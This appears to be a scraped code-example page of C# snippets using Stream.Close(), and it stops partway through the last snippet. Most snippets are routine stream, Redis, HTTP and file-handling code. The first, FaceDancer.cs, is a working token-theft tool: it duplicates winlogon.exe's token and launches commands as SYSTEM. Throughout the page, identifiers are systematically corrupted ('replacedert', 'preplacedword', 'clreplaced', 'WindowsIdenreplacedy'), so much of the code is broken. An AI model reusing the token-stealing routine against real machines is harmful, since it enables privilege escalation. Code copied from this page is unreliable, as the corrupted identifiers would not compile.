System.IO.Stream.Close()

Here are the examples of the csharp api System.IO.Stream.Close() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

5821 Examples 7

19 View Source File : FaceDancer.cs
License : MIT License
Project Creator : 001SPARTaN

static void Main(string[] args)
        {
            int procId;
            string file;

            if (args.Length < 2)
            {
                file = "whoami /priv";
                if (args.Length == 0)
                {
                    // If we don't have a process ID as an argument, find winlogon.exe
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                }
                else if (args[0].Contains('.'))
                {
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                    if (args != null)
                    {
                        file = args[0];
                    }
                }
                else
                {
                    procId = Convert.ToInt32(args[0]);
                }
            }
            else
            {
                procId = Convert.ToInt32(args[0]);
                file = args[1];
            }
            Console.WriteLine("Stealing token from PID " + procId);

            IntPtr tokenHandle = IntPtr.Zero;
            IntPtr dupHandle = IntPtr.Zero;

            SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
            Console.WriteLine("Process handle: True");

            bool procToken = OpenProcessToken(procHandle.DangerousGetHandle(), (uint)TokenAccessLevels.MaximumAllowed, out tokenHandle);
            Console.WriteLine("OpenProcessToken: " + procToken);

            bool duplicateToken = DuplicateTokenEx(tokenHandle, (uint)TokenAccessLevels.MaximumAllowed, IntPtr.Zero, 
                (uint)TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out dupHandle);
            Console.WriteLine("DuplicateTokenEx: " + duplicateToken);
            WindowsIdenreplacedy ident = new WindowsIdenreplacedy(dupHandle);
            Console.WriteLine("Impersonated user: " + ident.Name);

            STARTUPINFO startInfo = new STARTUPINFO();

            PipeSecurity sec = new PipeSecurity();
            sec.SetAccessRule(new PipeAccessRule("NT AUTHORITY\\Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));

            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 4096, sec))
            {
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle))
                {
                    // Set process to use anonymous pipe for input/output
                    startInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW;
                    // END NAME PIPE INITIALIZATION

                    PROCESS_INFORMATION newProc = new PROCESS_INFORMATION();
                    using (StreamReader reader = new StreamReader(pipeServer))
                    {
                        bool createProcess = CreateProcessWithTokenW(dupHandle, IntPtr.Zero, null, file, IntPtr.Zero, IntPtr.Zero, "C:\\Temp", ref startInfo, out newProc);
                        Process proc = Process.GetProcessById(newProc.dwProcessId);
                        while (!proc.HasExited)
                        {
                            Thread.Sleep(1000);
                        }
                        pipeClient.Close();
                        string output = reader.ReadToEnd();
                        Console.WriteLine("Started process with ID " + newProc.dwProcessId);
                        Console.WriteLine("CreateProcess return code: " + createProcess);
                        Console.WriteLine("Process output: " + output);
                    }
                    
                    CloseHandle(tokenHandle);
                    CloseHandle(dupHandle);
                }
            }
        }

19 View Source File : EdisFace.cs
License : MIT License
Project Creator : 0ffffffffh

private bool ReplyWithFile(HttpListenerContext ctx, string fileName)
        {
            Stream fs;

            if (!File.Exists(fileName))
                return false;

            try
            {
                fs = File.OpenRead(fileName);
            }
            catch(Exception e)
            {
                Log.Error("{0} - {1}", fileName, e.Message);
                return false;
            }

            ctx.Response.ContentLength64 = fs.Length;
            ctx.Response.StatusCode = 200;

            ctx.Response.ContentEncoding = Encoding.ASCII;
            ctx.Response.ContentType = MimeTypeFromExt(Path.GetExtension(fileName));

            fs.CopyTo(ctx.Response.OutputStream);

            fs.Close();
            fs.Dispose();

            return true;
        }

19 View Source File : RequestBridge.cs
License : MIT License
Project Creator : 0ffffffffh

private static void RequestWaiter(object o)
        {
            NamedPipeServerStream nps = null;
            
            while (active)
            {
                nps = CreatePipe();

                if (nps == null)
                {
                    Thread.Sleep(1000);
                    continue;
                }

                try
                {
                    nps.WaitForConnection();

                    if (!active)
                    {
                        nps.Close();
                        nps.Dispose();
                        nps = null;
                    }
                }
                catch (Exception e)
                {
                    Log.Warning("pipe connection wait aborted. {0}", e.Message);
                    nps = null;
                }

                if (nps != null)
                    RegisterRequestReceiver(nps);

            }

            Log.Verbose("Pipe connection waiter Tid#{0} closed.", Thread.CurrentThread.ManagedThreadId);

        }

19 View Source File : RequestBridge.cs
License : MIT License
Project Creator : 0ffffffffh

private static void WaitIo(object obj)
        {
            uint totalBytes;
            int readLen = 0;
            byte[] buffer = new byte[32 * 1024];
            

            NamedPipeServerStream nps = (NamedPipeServerStream)obj;
            RequestObject reqObj;

            Log.Verbose("Thread#{0} waiting for available incoming data", 
                Thread.CurrentThread.ManagedThreadId);

            if (nps.Read(buffer, 0, 4) > 0)
            {
                totalBytes = BitConverter.ToUInt32(buffer, 0);
                
                readLen = nps.Read(buffer, 0, buffer.Length);
                
                reqObj = new RequestObject(nps, buffer, readLen);

                if (!reqObj.IsEnqueued)
                    reqObj = null;
            }
            else
            {
                nps.Disconnect();
                nps.Close();
                nps.Dispose();
                nps = null;
            }

            buffer = null;
        }

19 View Source File : RequestBridge.cs
License : MIT License
Project Creator : 0ffffffffh

private static void AbortBlockingWaitOfPipeServer(int count)
        {
            for (int i = 0; i < count; i++)
            {
                NamedPipeClientStream nspc = new NamedPipeClientStream("sozluk_request_bridge_pipe");
                nspc.Connect();

                nspc.Close();
                nspc.Dispose();
            }
        }

19 View Source File : DisposeActionStream.cs
License : MIT License
Project Creator : 0x0ade

public override void Close() {
            Action?.Invoke();
            Inner.Close();
        }

19 View Source File : PositionAwareStream.cs
License : MIT License
Project Creator : 0x0ade

public override void Close() {
            base.Close();
            Inner.Close();
        }

19 View Source File : cAES256.cs
License : MIT License
Project Creator : 0xPh0enix

public static byte[] Decrypt(byte[] bData, byte[] bKey)
        {
            byte[] bDecrypted = null;

            using (MemoryStream mStream = new MemoryStream())
            {
                using (RijndaelManaged rmAES = new RijndaelManaged())
                {
                    rmAES.KeySize = 256;
                    rmAES.BlockSize = 128;

                    Rfc2898DeriveBytes rfcKey = new Rfc2898DeriveBytes(bKey, bSalt, 1000);

                    rmAES.Key = rfcKey.GetBytes(rmAES.KeySize / 8);
                    rmAES.IV = rfcKey.GetBytes(rmAES.BlockSize / 8);

                    rmAES.Mode = CipherMode.CBC;

                    using (CryptoStream cStream = new CryptoStream(mStream, rmAES.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cStream.Write(bData, 0, bData.Length);
                        cStream.Close();
                    }

                    bDecrypted = mStream.ToArray();
                }
            }

            return bDecrypted;
        }

19 View Source File : cAES256.cs
License : MIT License
Project Creator : 0xPh0enix

public static byte[] Encrypt(byte[] bData, byte[] bKey)
        {
            byte[] bEncrypted = null;

            using (MemoryStream mStream = new MemoryStream())
            {
                using (RijndaelManaged rmAES = new RijndaelManaged())
                {
                    rmAES.KeySize = 256;
                    rmAES.BlockSize = 128;

                    Rfc2898DeriveBytes rfcKey = new Rfc2898DeriveBytes(bKey, bSalt, 1000);

                    rmAES.Key = rfcKey.GetBytes(rmAES.KeySize / 8);
                    rmAES.IV = rfcKey.GetBytes(rmAES.BlockSize / 8);

                    rmAES.Mode = CipherMode.CBC;

                    using (CryptoStream cStream = new CryptoStream(mStream, rmAES.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cStream.Write(bData, 0, bData.Length);
                        cStream.Close();
                    }
                    bEncrypted = mStream.ToArray();
                }
            }

            return bEncrypted;
        }

19 View Source File : Form1.cs
License : Mozilla Public License 2.0
Project Creator : 1M50RRY

private static byte[] EncryptAES(byte[] bytesToBeEncrypted, string preplacedword)
        {
            byte[] result = null;
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
                {
                    rijndaelManaged.KeySize = 256;
                    rijndaelManaged.BlockSize = 128;
                    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Encoding.ASCII.GetBytes(preplacedword), Encoding.ASCII.GetBytes(preplacedword), 1000);
                    rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                    rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                    rijndaelManaged.Mode = CipherMode.CBC;
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                        cryptoStream.Close();
                    }
                    result = memoryStream.ToArray();
                }
            }
            return result;
        }

19 View Source File : HttpUtil.cs
License : Apache License 2.0
Project Creator : 214175590

void ReadCallBack(IAsyncResult ar)
        {
            StateObject state = ar.AsyncState as StateObject;
            try
            {
                int read = state.ReadStream.EndRead(ar);
                if (read > 0)
                {
                    state.ResponseInfo.ResponseContent.Write(state.Buffer, 0, read);
                    state.ReadStream.BeginRead(state.Buffer, 0, state.Buffer.Length, ReadCallBack, state);
                }
                else
                {
                    state.ReadStream.Close();
                    state.HttpWebRequest.Abort();
                    if (state.Action != null)
                    {
                        state.Action(state.ResponseInfo);
                    }
                }
            }
            catch (Exception ex)
            {
                HandException(ex, state);
            }
        }

19 View Source File : RedisIO.cs
License : MIT License
Project Creator : 2881099

public void Dispose()
        {
            if (_pipeline != null) _pipeline.Dispose();
            if (_stream != null)
            {
                try { _stream.Close(); } catch { }
                try { _stream.Dispose(); } catch { }
            }
        }

19 View Source File : DefaultRedisSocket.cs
License : MIT License
Project Creator : 2881099

public void ReleaseSocket()
        {
            lock (_connectLock)
            {
                if (_socket != null)
                {
                    try { _socket.Shutdown(SocketShutdown.Both); } catch { }
                    try { _socket.Close(); } catch { }
                    try { _socket.Dispose(); } catch { }
                    _socket = null;
                }
                if (_stream != null)
                {
                    try { _stream.Close(); } catch { }
                    try { _stream.Dispose(); } catch { }
                    _stream = null;
                }
                _reader = null;
            }
        }

19 View Source File : RedisIO.cs
License : MIT License
Project Creator : 2881099

public void SetStream(Stream stream)
        {
            if (_stream != null)
            {
                try { _stream.Close(); } catch { }
                try { _stream.Dispose(); } catch { }
            }

            _stream = stream;
            _reader = new RedisReader(this);
            _pipeline = new RedisPipeline(this);
        }

19 View Source File : CSRedisClientStringTests.cs
License : MIT License
Project Creator : 2881099

[Fact]
		public void Append() {
			var key = "TestAppend_null";
			rds.Set(key, base.String);
			rds.Append(key, base.Null);
			replacedert.Equal(rds.Get(key), base.String);

			key = "TestAppend_string";
			rds.Set(key, base.String);
			rds.Append(key, base.String);
			replacedert.Equal(rds.Get(key), base.String + base.String);
			var ms = new MemoryStream();
			rds.Get(key, ms);
			replacedert.Equal(Encoding.UTF8.GetString(ms.ToArray()), base.String + base.String);
			ms.Close();

			key = "TestAppend_bytes";
			rds.Set(key, base.Bytes);
			rds.Append(key, base.Bytes);
			replacedert.Equal(Convert.ToBase64String(rds.Get<byte[]>(key)), Convert.ToBase64String(base.Bytes.Concat(base.Bytes).ToArray()));
		}

19 View Source File : DefaultRedisSocket.cs
License : MIT License
Project Creator : 2881099

public void Write(CommandPacket cmd)
        {
            if (IsConnected == false) Connect();
            using (var ms = new MemoryStream()) //Writing data directly to will be very slow
            {
                new RespHelper.Resp3Writer(ms, Encoding, Protocol).WriteCommand(cmd);
                ms.Position = 0;
                ms.CopyTo(Stream);
                ms.Close();
            }
            switch (cmd._command)
            {
                case "CLIENT":
                    switch (cmd._subcommand)
                    {
                        case "REPLY":
                            var type = cmd._input.LastOrDefault().ConvertTo<ClientReplyType>();
                            if (type != ClientReply) ClientReply = type;
                            break;
                        case "ID":
                            cmd.OnData(rt =>
                            {
                                ClientId = rt.ThrowOrValue<long>();
                            });
                            break;
                    }
                    break;
                case "SELECT":
                    var dbidx = cmd._input.LastOrDefault()?.ConvertTo<int?>();
                    if (dbidx != null) Database = dbidx.Value;
                    break;
            }
            cmd.WriteTarget = $"{this.Host}/{this.Database}";
        }

19 View Source File : PipelineAdapter.cs
License : MIT License
Project Creator : 2881099

static void EndPipe(IRedisSocket rds, IEnumerable<PipelineCommand> cmds)
            {
                var err = new List<PipelineCommand>();
                var ms = new MemoryStream();

                try
                {
                    var respWriter = new RespHelper.Resp3Writer(ms, rds.Encoding, rds.Protocol);
                    foreach (var cmd in cmds)
                        respWriter.WriteCommand(cmd.Command);

                    if (rds.IsConnected == false) rds.Connect();
                    ms.Position = 0;
                    ms.CopyTo(rds.Stream);

                    foreach (var pc in cmds)
                    {
                        pc.RedisResult = rds.Read(pc.Command);
                        pc.Result = pc.Parse(pc.RedisResult);
                        if (pc.RedisResult.IsError) err.Add(pc);
#if isasync
                        pc.TrySetResult(pc.Result, pc.RedisResult.IsError ? new RedisServerException(pc.RedisResult.SimpleError) : null);
#endif
                    }
                }
                finally
                {
                    ms.Close();
                    ms.Dispose();
                }

                if (err.Any())
                {
                    var sb = new StringBuilder();
                    for (var a = 0; a < err.Count; a++)
                    {
                        var cmd = err[a].Command;
                        if (a > 0) sb.Append("\r\n");
                        sb.Append(err[a].RedisResult.SimpleError).Append(" {").Append(cmd.ToString()).Append("}");
                    }
                    throw new RedisServerException(sb.ToString());
                }
            }

19 View Source File : StringsTests.cs
License : MIT License
Project Creator : 2881099

[Fact]
        public void Append()
        {
            var key = "TestAppend_null";
            cli.Set(key, String);
            cli.Append(key, Null);
            replacedert.Equal(cli.Get(key), String);

            key = "TestAppend_string";
            cli.Set(key, String);
            cli.Append(key, String);
            replacedert.Equal(cli.Get(key), String + String);
            var ms = new MemoryStream();
            cli.Get(key, ms);
            replacedert.Equal(Encoding.UTF8.GetString(ms.ToArray()), String + String);
            ms.Close();

            key = "TestAppend_bytes";
            cli.Set(key, Bytes);
            cli.Append(key, Bytes);
            replacedert.Equal(Convert.ToBase64String(cli.Get<byte[]>(key)), Convert.ToBase64String(Bytes.Concat(Bytes).ToArray()));
        }

19 View Source File : TemplateGenerator.cs
License : MIT License
Project Creator : 2881099

void BuildEachDirectory(string templateDirectory, string outputDirectory, TemplateEngin tpl, IDbFirst dbfirst, List<DbTableInfo> tables) {
			if (Directory.Exists(outputDirectory) == false) Directory.CreateDirectory(outputDirectory);
			var files = Directory.GetFiles(templateDirectory);
			foreach (var file in files) {
				var fi = new FileInfo(file);
				if (string.Compare(fi.Extension, ".FreeSql", true) == 0) {
					var outputExtension = "." + fi.Name.Split('.')[1];
					if (fi.Name.StartsWith("for-table.")) {
						foreach (var table in tables) {
							var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "table", table }, { "dbfirst", dbfirst } });
							if (result.EndsWith("return;")) continue;
							var outputName = table.Name + outputExtension;
							var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
							if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
							var outputStream = Encoding.UTF8.GetBytes(result);
							var fullname = outputDirectory + "/" + outputName;
							if (File.Exists(fullname)) File.Delete(fullname);
							using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
								outfs.Write(outputStream, 0, outputStream.Length);
								outfs.Close();
							}
						}
						continue;
					} else {
						var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "tables", tables }, { "dbfirst", dbfirst } });
						var outputName = fi.Name;
						var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
						if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
						var outputStream = Encoding.UTF8.GetBytes(result);
						var fullname = outputDirectory + "/" + outputName;
						if (File.Exists(fullname)) File.Delete(fullname);
						using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
							outfs.Write(outputStream, 0, outputStream.Length);
							outfs.Close();
						}
					}
				}
				File.Copy(file, outputDirectory + file.Replace(templateDirectory, ""), true);
			}
			var dirs = Directory.GetDirectories(templateDirectory);
			foreach(var dir in dirs) {
				BuildEachDirectory(dir, outputDirectory +  dir.Replace(templateDirectory, ""), tpl, dbfirst, tables);
			}
		}

19 View Source File : StaticFiles.cs
License : MIT License
Project Creator : 2881099

public static IApplicationBuilder UseFreeAdminLteStaticFiles(this IApplicationBuilder app, string requestPathBase) {
			if (_isStaticFiles == false) {
				lock (_isStaticFilesLock) {
					if (_isStaticFiles == false) {
						var curPath = AppDomain.CurrentDomain.BaseDirectory;
						var zipPath = $"{curPath}/{Guid.NewGuid()}.zip";
						using (var zip = WwwrootStream()) {
							using (var fs = File.Open(zipPath, FileMode.OpenOrCreate)) {
								zip.CopyTo(fs);
								fs.Close();
							}
							zip.Close();
						}
						var wwwrootPath = Path.Combine(curPath, "FreeSql.AdminLTE.wwwroot");
						if (Directory.Exists(wwwrootPath)) Directory.Delete(wwwrootPath, true);
						try {
							System.IO.Compression.ZipFile.ExtractToDirectory(zipPath, wwwrootPath, Encoding.UTF8);
						} catch (Exception ex) {
							throw new Exception($"UseFreeAdminLtePreview 错误,资源文件解压失败:{ex.Message}", ex);
						} finally {
							File.Delete(zipPath);
						}

						app.UseStaticFiles(new StaticFileOptions {
							RequestPath = requestPathBase.TrimEnd('/'),
							FileProvider = new PhysicalFileProvider(wwwrootPath)
						});

						_isStaticFiles = true;
					}
				}
			}

			return app;
		}

19 View Source File : FrmRazorTemplates.cs
License : MIT License
Project Creator : 2881099

private void buttonX1_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrEmpty(textBoxX1.Text))
            {
                ToastNotification.ToastBackColor = Color.Red;
                ToastNotification.ToastForeColor = Color.White;
                ToastNotification.ToastFont = new Font("微软雅黑", 15);
                ToastNotification.Show(this, "模版名称不允许为空", null, 3000, eToastGlowColor.Red, eToastPosition.TopCenter);
                return;
            }
            string path = Path.Combine(Environment.CurrentDirectory, "Templates");
            if (!Directory.Exists(path)) Directory.CreateDirectory(path);
            TemplatesName = textBoxX1.Text;
            TemplatesPath = Path.Combine(path, $"{textBoxX1.Text}.tpl");
            if (File.Exists(TemplatesPath))
            {
                ToastNotification.ToastBackColor = Color.Red;
                ToastNotification.ToastForeColor = Color.White;
                ToastNotification.ToastFont = new Font("微软雅黑", 15);
                ToastNotification.Show(this, "模版名称己存在", null, 3000, eToastGlowColor.Red, eToastPosition.TopCenter);
                return;
            }
            using (var sr = File.Create(TemplatesPath))
            {
                sr.Close();
                sr.Dispose();
            }
            this.Close();
            this.DialogResult = System.Windows.Forms.DialogResult.OK;
        }

19 View Source File : Utils.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static T DeepCopy<T>(T obj)
        {
            object retval;
            using (MemoryStream ms = new MemoryStream())
            {
                BinaryFormatter bf = new BinaryFormatter();
                //序列化成流
                bf.Serialize(ms, obj);
                ms.Seek(0, SeekOrigin.Begin);
                //反序列化成对象
                retval = bf.Deserialize(ms);
                ms.Close();
            }
            return (T)retval;
        }

19 View Source File : Utils.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static void SaveLog(string strreplacedle, Exception ex)
        {
            try
            {
                string path = Path.Combine(StartupPath(), "guiLogs");
                string FilePath = Path.Combine(path, DateTime.Now.ToString("yyyyMMdd") + ".txt");
                if (!Directory.Exists(path))
                {
                    Directory.CreateDirectory(path);
                }
                if (!File.Exists(FilePath))
                {
                    FileStream FsCreate = new FileStream(FilePath, FileMode.Create);
                    FsCreate.Close();
                    FsCreate.Dispose();
                }
                FileStream FsWrite = new FileStream(FilePath, FileMode.Append, FileAccess.Write);
                StreamWriter SwWrite = new StreamWriter(FsWrite);

                string strContent = ex.ToString();

                SwWrite.WriteLine(string.Format("{0}{1}[{2}]{3}", "--------------------------------", strreplacedle, DateTime.Now.ToString("HH:mm:ss"), "--------------------------------"));
                SwWrite.Write(strContent);
                SwWrite.WriteLine(Environment.NewLine);
                SwWrite.WriteLine(" ");
                SwWrite.Flush();
                SwWrite.Close();
            }
            catch { }
        }

19 View Source File : ZipTool.cs
License : Apache License 2.0
Project Creator : 365082218

public static bool Zip(string[] _fileOrDirectoryArray, string _outputPathName, string _preplacedword = null, ZipCallback _zipCallback = null)
    {
        if ((null == _fileOrDirectoryArray) || string.IsNullOrEmpty(_outputPathName))
        {
            if (null != _zipCallback)
                _zipCallback.OnFinished(false);

            return false;
        }

        ZipOutputStream zipOutputStream = new ZipOutputStream(File.Create(_outputPathName));
        zipOutputStream.SetLevel(6);    // 压缩质量和压缩速度的平衡点
        if (!string.IsNullOrEmpty(_preplacedword))
            zipOutputStream.Preplacedword = _preplacedword;

        for (int index = 0; index < _fileOrDirectoryArray.Length; ++index)
        {
            bool result = false;
            string fileOrDirectory = _fileOrDirectoryArray[index];
            if (Directory.Exists(fileOrDirectory))
                result = ZipDirectory(fileOrDirectory, string.Empty, zipOutputStream, _zipCallback);
            else if (File.Exists(fileOrDirectory))
                result = ZipFile(fileOrDirectory, string.Empty, zipOutputStream, _zipCallback);

            if (!result)
            {
                if (null != _zipCallback)
                    _zipCallback.OnFinished(false);

                return false;
            }
        }

        zipOutputStream.Finish();
        zipOutputStream.Close();

        if (null != _zipCallback)
            _zipCallback.OnFinished(true);

        return true;
    }

19 View Source File : HttpClient.cs
License : GNU Affero General Public License v3.0
Project Creator : 3drepo

protected T_out HttpPostJson<T_in, T_out>(string uri, T_in data)
        {
            AppendApiKey(ref uri);

            // put together the json object with the login form data
            string parameters = JsonMapper.ToJson(data);
            byte[] postDataBuffer = Encoding.UTF8.GetBytes(parameters);

            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
            request.Proxy = proxy;
            request.Method = "POST";
            request.ContentType = "application/json;charset=UTF-8";
            request.ContentLength = postDataBuffer.Length;
            //request.AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate;
            request.ReadWriteTimeout = timeout_ms;
            request.Timeout = timeout_ms;
            request.CookieContainer = cookies;
            Console.WriteLine("POST " + uri + " data: " + parameters);

            Stream postDataStream = request.GetRequestStream();

            postDataStream.Write(postDataBuffer, 0, postDataBuffer.Length);
            postDataStream.Close();

            HttpWebResponse response = (HttpWebResponse)request.GetResponse();

            Stream responseStream = response.GetResponseStream();

            StreamReader responseReader = new StreamReader(responseStream);
            string responseData = responseReader.ReadToEnd();

            Cookie responseCookie = response.Cookies[0];
            string responseDomain = responseCookie.Domain;

            // Only replacedume one cookie per domain
            if (!cookieDict.ContainsKey(responseDomain))
            {
                cookieDict.Add(responseCookie.Domain, responseCookie);
                responseCookie.Domain = "." + responseCookie.Domain;
            }

            Uri myUri = new Uri(uri);

            foreach (KeyValuePair<string, Cookie> entry in cookieDict)
            {
                int uriHostLength = myUri.Host.Length;

                if (myUri.Host.Substring(uriHostLength - responseDomain.Length, responseDomain.Length) == entry.Key)
                {
                    cookies.Add(myUri, entry.Value);
                }
            }

            return JsonMapper.ToObject<T_out>(responseData);
        }

19 View Source File : WaveFileReader.cs
License : MIT License
Project Creator : 3wz

protected override void Dispose(bool disposing)
        {
            if (disposing)
            {
                // Release managed resources.
                if (waveStream != null)
                {
                    // only dispose our source if we created it
                    if (ownInput)
                    {
                        waveStream.Close();
                    }
                    waveStream = null;
                }
            }
            else
            {
                System.Diagnostics.Debug.replacedert(false, "WaveFileReader was not disposed");
            }
            // Release unmanaged resources.
            // Set large fields to null.
            // Call Dispose on your base clreplaced.
            base.Dispose(disposing);
        }

19 View Source File : Machine.cs
License : MIT License
Project Creator : 3RD-Dimension

public void Disconnect()
        {
            if (Log != null)
                Log.Close();
            Log = null;

            Connected = false;

            WorkerThread.Join();

            try
            {
                Connection.Close();
            }
            catch { }

            Connection.Dispose();
            Connection = null;

            Mode = OperatingMode.Disconnected;

            MachinePosition = new Vector3();
            WorkOffset = new Vector3();
            FeedRateRealtime = 0;
            CurrentTLO = 0;

            if (PositionUpdateReceived != null)
                PositionUpdateReceived.Invoke();

            Status = "Disconnected";
            DistanceMode = ParseDistanceMode.Absolute;
            Unit = ParseUnit.Metric;
            Plane = ArcPlane.XY;
            BufferState = 0;

            FeedOverride = 100;
            RapidOverride = 100;
            SpindleOverride = 100;

            if (OverrideChanged != null)
                OverrideChanged.Invoke();

            PinStateLimitX = false;
            PinStateLimitY = false;
            PinStateLimitZ = false;
            PinStateProbe = false;

            if (PinStateChanged != null)
                PinStateChanged.Invoke();

            ToSend.Clear();
            ToSendPriority.Clear();
            Sent.Clear();
            ToSendMacro.Clear();
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 3xpl01tc0d3r

public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] preplacedwordBytes)
        {
            byte[] encryptedBytes = null;

            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;

                    var key = new Rfc2898DeriveBytes(preplacedwordBytes, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);

                    AES.Mode = CipherMode.CBC;

                    using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                        cs.Close();
                    }
                    encryptedBytes = ms.ToArray();
                }
            }

            return encryptedBytes;
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 3xpl01tc0d3r

public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] preplacedwordBytes)
        {
            byte[] decryptedBytes = null;
            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };

            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;

                    var key = new Rfc2898DeriveBytes(preplacedwordBytes, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);

                    AES.Mode = CipherMode.CBC;

                    using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
                        cs.Close();
                    }
                    decryptedBytes = ms.ToArray();
                }
            }

            return decryptedBytes;
        }

19 View Source File : Util.cs
License : MIT License
Project Creator : 499116344

public static string GetMD5HashFromFile(string fileName)
        {
            try
            {
                var file = new FileStream(fileName, FileMode.Open);
                MD5 md5 = new MD5CryptoServiceProvider();
                var retVal = md5.ComputeHash(file);
                file.Close();

                var sb = new StringBuilder();
                foreach (var t in retVal)
                {
                    sb.Append(t.ToString("x2"));
                }

                return sb.ToString();
            }
            catch (Exception ex)
            {
                throw new Exception("GetMD5HashFromFile() fail, error:" + ex.Message);
            }
        }

19 View Source File : SimpleHTTPServer.cs
License : GNU General Public License v3.0
Project Creator : 44670

private void Process(HttpListenerContext context)
    {
        string filename = context.Request.Url.AbsolutePath;
        Console.WriteLine(filename);
        if (filename == "/update")
        {
            var query = HttpUtility.ParseQueryString(context.Request.Url.Query);
            mainWindow.handleNewGameStr(query.Get("str"));
            context.Response.StatusCode = (int)HttpStatusCode.OK;
        }
        else
        {
            context.Response.StatusCode = (int)HttpStatusCode.NotFound;
        }

        context.Response.OutputStream.Close();
    }

19 View Source File : Server.cs
License : MIT License
Project Creator : 5minlab

void HandleRequest(RequestContext context) {
            RegisterRoutes();

            try {
                bool handled = false;

                for (; context.currentRoute < registeredRoutes.Count; ++context.currentRoute) {
                    RouteAttribute route = registeredRoutes[context.currentRoute];
                    Match match = route.m_route.Match(context.path);
                    if (!match.Success)
                        continue;

                    if (!route.m_methods.IsMatch(context.Request.HttpMethod))
                        continue;

                    // Upgrade to main thread if necessary
                    if (route.m_runOnMainThread && Thread.CurrentThread != mainThread) {
                        lock (mainRequests) {
                            mainRequests.Enqueue(context);
                        }
                        return;
                    }

                    context.match = match;
                    route.m_callback(context);
                    handled = !context.preplaced;
                    if (handled)
                        break;
                }

                if (!handled) {
                    context.Response.StatusCode = (int)HttpStatusCode.NotFound;
                    context.Response.StatusDescription = "Not Found";
                }
            } catch (Exception exception) {
                context.Response.StatusCode = (int)HttpStatusCode.InternalServerError;
                context.Response.StatusDescription = string.Format("Fatal error:\n{0}", exception);

                Debug.LogException(exception);
            }

            context.Response.OutputStream.Close();
        }

19 View Source File : BaiduMap_main.cs
License : MIT License
Project Creator : 734843327

void saveData(WWW www, string name)//没用
    {

        //以下代码作用为:将数据保存到本地生成json文件
        string filename = name +"南开内"+UnityEngine.Random.Range(0.0f, 5.0f).ToString();
       
        byte[] stream = www.bytes;
        FileStream fs = new FileStream(filename, FileMode.CreateNew);
        // Create the writer for data.
        BinaryWriter w = new BinaryWriter(fs);
        // Write data to Test.data.
        w.Write(stream);
        w.Close();
        fs.Close();
    }

19 View Source File : Utility.Http.cs
License : MIT License
Project Creator : 7Bytes-Studio

public static string Post(string Url, string postDataStr, CookieContainer cookieContainer = null)
            {
                cookieContainer = cookieContainer ?? new CookieContainer();
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
                request.Method = "POST";
                request.ContentType = "application/x-www-form-urlencoded";
                request.ContentLength = Encoding.UTF8.GetByteCount(postDataStr);
                request.CookieContainer = cookieContainer;
                Stream myRequestStream = request.GetRequestStream();
                StreamWriter myStreamWriter = new StreamWriter(myRequestStream, Encoding.GetEncoding("gb2312"));
                myStreamWriter.Write(postDataStr);
                myStreamWriter.Close();

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                response.Cookies = cookieContainer.GetCookies(response.ResponseUri);
